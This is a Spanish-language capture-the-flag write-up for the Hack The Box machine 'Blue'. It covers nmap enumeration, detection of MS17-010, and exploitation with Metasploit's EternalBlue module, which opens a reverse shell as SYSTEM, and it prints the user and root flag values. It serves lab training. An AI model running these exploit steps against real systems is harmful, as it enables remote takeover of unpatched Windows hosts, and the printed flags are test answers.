[HTB] Blue

Hoy vamos a hackear la maquina de HTB llamada Blue. Esta catalogada como facil.

Video


Enumeration



sml@m0nikE:~/ctf/htb/machines/blue$ nmap -A -p- 10.10.10.40
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-24 17:12 CET
Nmap scan report for 10.10.10.40
Host is up (0.036s latency).
Not shown: 65526 closed ports
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 
microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -4s, deviation: 1s, median: -5s
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2019-11-24T16:16:13+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-11-24T16:16:15
|_  start_date: 2019-11-24T16:11:25

Service detection performed. Please report any incorrect results at 
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 265.92 seconds
Vamos a investigar un poco mas el puerto 445 haciendo uso de los scripts de nmap para escanear las vulnerabilidades de smb.

sml@m0nikE:/home/sml$ sudo nmap -sS --script smb-vuln* -p445 10.10.10.40
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-24 17:14 CET
Nmap scan report for 10.10.10.40
Host is up (0.036s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannac
rypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 13.12 seconds
En la salida de nmap vemos que el servidor es vulnerable a: Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) Asi que vamos a arrancar metasploit para aprovecharnos de la vulnerabilidad.

Exploitation


Buscamos el exploit smb-vuln-ms17-010 y configuramos metasploit para atacar al servidor.

msf5 > search ms17-010

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     
Check  Description
   -  ----                                           ---------------  ----     
-----  -----------
   0  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   
Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote 
Windows Command Execution
   1  auxiliary/scanner/smb/smb_ms17_010                              normal   
Yes    MS17-010 SMB RCE Detection
   2  exploit/windows/smb/doublepulsar_rce           2017-04-14       great    
Yes    DOUBLEPULSAR Payload Execution and Neutralization
   3  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  
Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   4  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  
No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   5  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   
Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote 
Windows Code Execution


msf5 > use exploit/windows/smb/ms17_010_eternalblue 
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), range CIDR 
identifier, or hosts file with syntax 'file:'
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        (Optional) The Windows domain to 
use for authentication
   SMBPass                         no        (Optional) The password for the 
specified username
   SMBUser                         no        (Optional) The username to 
authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture 
matches exploit Target.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit 
Target.


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs


msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.10.40
rhosts => 10.10.10.40
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.10.14.13:4444 
[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 
Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 
73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 
76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                 
   ice Pack 1      
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC 
reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to 
SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.14.13:4444 -> 10.10.10.40:49158) at 
2019-11-24 17:16:37 +0100
[+] 10.10.10.40:445 - 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - 
=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Vemos que se abre la sesion, ya estamos dentro.

C:\Windows\system32>whoami
whoami
nt authority\system
Con el comando whoami podemos ver que somos system, con lo cual tenemos privilegios.

user.txt



C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\

14/07/2009  03:20               PerfLogs
24/12/2017  02:23               Program Files
14/07/2017  16:58               Program Files (x86)
14/07/2017  13:48               Share
21/07/2017  06:56               Users
16/07/2017  20:21               Windows
               0 File(s)              0 bytes
               6 Dir(s)  15,365,468,160 bytes free

C:\>cd users
cd users

C:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\Users

21/07/2017  06:56               .
21/07/2017  06:56               ..
21/07/2017  06:56               Administrator
14/07/2017  13:45               haris
12/04/2011  07:51               Public
               0 File(s)              0 bytes
               5 Dir(s)  15,365,468,160 bytes free

C:\Users>cd haris
cd haris

C:\Users\haris>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\Users\haris

14/07/2017  13:45               .
14/07/2017  13:45               ..
15/07/2017  07:58               Contacts
24/12/2017  02:23               Desktop
15/07/2017  07:58               Documents
15/07/2017  07:58               Downloads
15/07/2017  07:58               Favorites
15/07/2017  07:58               Links
15/07/2017  07:58               Music
15/07/2017  07:58               Pictures
15/07/2017  07:58               Saved Games
15/07/2017  07:58               Searches
15/07/2017  07:58               Videos
               0 File(s)              0 bytes
              13 Dir(s)  15,365,468,160 bytes free

C:\Users\haris>cd Desktop
cd Desktop

C:\Users\haris\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\Users\haris\Desktop

24/12/2017  02:23               .
24/12/2017  02:23               ..
21/07/2017  06:54                32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)  15,365,455,872 bytes free

C:\Users\haris\Desktop>type user.txt
type user.txt
4c546aea7dbee75cbd71de245c8deea9

root.txt



C:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\Users

21/07/2017  06:56               .
21/07/2017  06:56               ..
21/07/2017  06:56               Administrator
14/07/2017  13:45               haris
12/04/2011  07:51               Public
               0 File(s)              0 bytes
               5 Dir(s)  15,365,468,160 bytes free

C:\Users>cd Administrator
cd Administrator

C:\Users\Administrator>cd Desktop
cd Desktop

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\Users\Administrator\Desktop

24/12/2017  02:22               .
24/12/2017  02:22               ..
21/07/2017  06:57                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  15,365,468,160 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
ff548eb71e920ff6c08843ce9df4e717

End


Con esto ya tendriamos el control de la maquina.